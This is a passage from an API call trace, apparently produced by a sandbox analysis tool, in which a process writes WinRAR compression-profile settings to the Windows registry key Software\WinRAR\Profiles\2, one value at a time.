lpData=0x18b058*=0x0) returned 0x0 [0052.334] RegCloseKey (hKey=0x164) returned 0x0 [0052.334] GetLastError () returned 0x0 [0052.334] SetLastError (dwErrCode=0x0) [0052.334] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.334] RegSetValueExW (in: hKey=0x164, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.334] RegCloseKey (hKey=0x164) returned 0x0 [0052.334] GetLastError () returned 0x0 [0052.334] SetLastError (dwErrCode=0x0) [0052.334] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.334] RegSetValueExW (in: hKey=0x164, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0xfffffffd, cbData=0x4 | out: lpData=0x18b058*=0xfffffffd) returned 0x0 [0052.334] RegCloseKey (hKey=0x164) returned 0x0 [0052.334] GetLastError () returned 0x0 [0052.334] SetLastError (dwErrCode=0x0) [0052.335] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.335] RegSetValueExW (in: hKey=0x164, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.335] RegCloseKey (hKey=0x164) returned 0x0 [0052.335] GetLastError () returned 0x0 [0052.335] SetLastError (dwErrCode=0x0) [0052.335] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.335] RegSetValueExW (in: hKey=0x164, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.335] RegCloseKey (hKey=0x164) returned 0x0 [0052.335] GetLastError () returned 0x0 [0052.335] SetLastError (dwErrCode=0x0) [0052.335] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.335] RegSetValueExW (in: hKey=0x164, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.335] RegCloseKey (hKey=0x164) returned 0x0 [0052.335] GetLastError () returned 0x0 [0052.335] SetLastError (dwErrCode=0x0) [0052.335] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.335] RegSetValueExW (in: hKey=0x164, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.335] RegCloseKey (hKey=0x164) returned 0x0 [0052.335] GetLastError () returned 0x0 [0052.335] SetLastError (dwErrCode=0x0) [0052.335] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.335] RegSetValueExW (in: hKey=0x164, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x3, cbData=0x4 | out: lpData=0x18b058*=0x3) returned 0x0 [0052.335] RegCloseKey (hKey=0x164) returned 0x0 [0052.335] GetLastError () returned 0x0 [0052.336] SetLastError (dwErrCode=0x0) [0052.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.336] RegSetValueExW (in: hKey=0x164, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x2000000, cbData=0x4 | out: lpData=0x18b058*=0x2000000) returned 0x0 [0052.336] RegCloseKey (hKey=0x164) returned 0x0 [0052.336] GetLastError () returned 0x0 [0052.336] SetLastError (dwErrCode=0x0) [0052.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.336] RegSetValueExW (in: hKey=0x164, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.336] RegCloseKey (hKey=0x164) returned 0x0 [0052.336] GetLastError () returned 0x0 [0052.336] SetLastError (dwErrCode=0x0) [0052.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.336] RegSetValueExW (in: hKey=0x164, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.336] RegCloseKey (hKey=0x164) returned 0x0 [0052.336] GetLastError () returned 0x0 [0052.336] SetLastError (dwErrCode=0x0) [0052.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.336] RegSetValueExW (in: hKey=0x164, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.336] RegCloseKey (hKey=0x164) returned 0x0 [0052.336] GetLastError () returned 0x0 [0052.336] SetLastError (dwErrCode=0x0) [0052.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.336] RegSetValueExW (in: hKey=0x164, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.336] RegCloseKey (hKey=0x164) returned 0x0 [0052.336] GetLastError () returned 0x0 [0052.337] SetLastError (dwErrCode=0x0) [0052.337] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1897b8, lpdwDisposition=0x1897b0 | out: phkResult=0x1897b8*=0x164, lpdwDisposition=0x1897b0*=0x2) returned 0x0 [0052.337] RegSetValueExW (in: hKey=0x164, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x1 | out: lpData=0x13f26f128*) returned 0x0 [0052.337] RegCloseKey (hKey=0x164) returned 0x0 [0052.337] GetLastError () returned 0x0 [0052.337] SetLastError (dwErrCode=0x0) [0052.337] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.337] RegSetValueExW (in: hKey=0x164, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.337] RegCloseKey (hKey=0x164) returned 0x0 [0052.337] GetLastError () returned 0x0 [0052.337] SetLastError (dwErrCode=0x0) [0052.337] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.337] RegSetValueExW (in: hKey=0x164, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.337] RegCloseKey (hKey=0x164) returned 0x0 [0052.337] GetLastError () returned 0x0 [0052.337] SetLastError (dwErrCode=0x0) [0052.337] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.337] RegSetValueExW (in: hKey=0x164, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.337] RegCloseKey (hKey=0x164) returned 0x0 [0052.338] GetLastError () returned 0x0 [0052.338] SetLastError (dwErrCode=0x0) [0052.338] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.338] RegSetValueExW (in: hKey=0x164, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.338] RegCloseKey (hKey=0x164) returned 0x0 [0052.338] GetLastError () returned 0x0 [0052.338] SetLastError (dwErrCode=0x0) [0052.338] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.338] RegSetValueExW (in: hKey=0x164, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.338] RegCloseKey (hKey=0x164) returned 0x0 [0052.338] GetLastError () returned 0x0 [0052.338] SetLastError (dwErrCode=0x0) [0052.338] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.338] RegSetValueExW (in: hKey=0x164, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.338] RegCloseKey (hKey=0x164) returned 0x0 [0052.338] GetLastError () returned 0x0 [0052.338] SetLastError (dwErrCode=0x0) [0052.338] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.338] RegSetValueExW (in: hKey=0x164, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.338] RegCloseKey (hKey=0x164) returned 0x0 [0052.338] GetLastError () returned 0x0 [0052.338] SetLastError (dwErrCode=0x0) [0052.338] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.338] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.339] RegCloseKey (hKey=0x164) returned 0x0 [0052.339] GetLastError () returned 0x0 [0052.339] SetLastError (dwErrCode=0x0) [0052.339] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.339] RegSetValueExW (in: hKey=0x164, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.339] RegCloseKey (hKey=0x164) returned 0x0 [0052.339] GetLastError () returned 0x0 [0052.339] SetLastError (dwErrCode=0x0) [0052.339] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.339] RegSetValueExW (in: hKey=0x164, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.339] RegCloseKey (hKey=0x164) returned 0x0 [0052.339] GetLastError () returned 0x0 [0052.339] SetLastError (dwErrCode=0x0) [0052.339] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.339] RegSetValueExW (in: hKey=0x164, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.339] RegCloseKey (hKey=0x164) returned 0x0 [0052.339] GetLastError () returned 0x0 [0052.339] SetLastError (dwErrCode=0x0) [0052.339] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.339] RegSetValueExW (in: hKey=0x164, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.339] RegCloseKey (hKey=0x164) returned 0x0 [0052.339] GetLastError () returned 0x0 [0052.339] SetLastError (dwErrCode=0x0) [0052.339] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.339] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0052.340] RegCloseKey (hKey=0x164) returned 0x0 [0052.340] GetLastError () returned 0x0 [0052.340] SetLastError (dwErrCode=0x0) [0052.340] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.340] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.340] RegCloseKey (hKey=0x164) returned 0x0 [0052.340] GetLastError () returned 0x0 [0052.340] SetLastError (dwErrCode=0x0) [0052.340] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.340] RegSetValueExW (in: hKey=0x164, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.340] RegCloseKey (hKey=0x164) returned 0x0 [0052.340] GetLastError () returned 0x0 [0052.340] SetLastError (dwErrCode=0x0) [0052.340] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.340] RegSetValueExW (in: hKey=0x164, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.340] RegCloseKey (hKey=0x164) returned 0x0 [0052.340] GetLastError () returned 0x0 [0052.340] SetLastError (dwErrCode=0x0) [0052.340] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.340] RegSetValueExW (in: hKey=0x164, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.340] RegCloseKey (hKey=0x164) returned 0x0 [0052.340] GetLastError () returned 0x0 [0052.340] SetLastError (dwErrCode=0x0) [0052.340] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.340] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0x18b058*=0x0, cbData=0x8 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.341] RegCloseKey (hKey=0x164) returned 0x0 [0052.341] GetLastError () returned 0x0 [0052.341] SetLastError (dwErrCode=0x0) [0052.341] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.341] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.341] RegCloseKey (hKey=0x164) returned 0x0 [0052.341] GetLastError () returned 0x0 [0052.341] SetLastError (dwErrCode=0x0) [0052.341] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.341] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.341] RegCloseKey (hKey=0x164) returned 0x0 [0052.341] GetLastError () returned 0x0 [0052.341] SetLastError (dwErrCode=0x0) [0052.341] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.341] RegSetValueExW (in: hKey=0x164, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x4, cbData=0x4 | out: lpData=0x18b058*=0x4) returned 0x0 [0052.341] RegCloseKey (hKey=0x164) returned 0x0 [0052.341] GetLastError () returned 0x0 [0052.341] SetLastError (dwErrCode=0x0) [0052.341] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.341] RegSetValueExW (in: hKey=0x164, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.341] RegCloseKey (hKey=0x164) returned 0x0 [0052.341] GetLastError () returned 0x0 [0052.341] SetLastError (dwErrCode=0x0) [0052.341] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.341] RegSetValueExW (in: hKey=0x164, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.342] RegCloseKey (hKey=0x164) returned 0x0 [0052.342] GetLastError () returned 0x0 [0052.342] SetLastError (dwErrCode=0x0) [0052.342] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.342] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.342] RegCloseKey (hKey=0x164) returned 0x0 [0052.342] GetLastError () returned 0x0 [0052.342] SetLastError (dwErrCode=0x0) [0052.342] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.342] RegSetValueExW (in: hKey=0x164, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.342] RegCloseKey (hKey=0x164) returned 0x0 [0052.342] GetLastError () returned 0x0 [0052.342] SetLastError (dwErrCode=0x0) [0052.342] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.342] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.342] RegCloseKey (hKey=0x164) returned 0x0 [0052.342] GetLastError () returned 0x0 [0052.342] SetLastError (dwErrCode=0x0) [0052.342] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.342] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.342] RegCloseKey (hKey=0x164) returned 0x0 [0052.342] GetLastError () returned 0x0 [0052.343] SetLastError (dwErrCode=0x0) [0052.343] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.343] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.343] 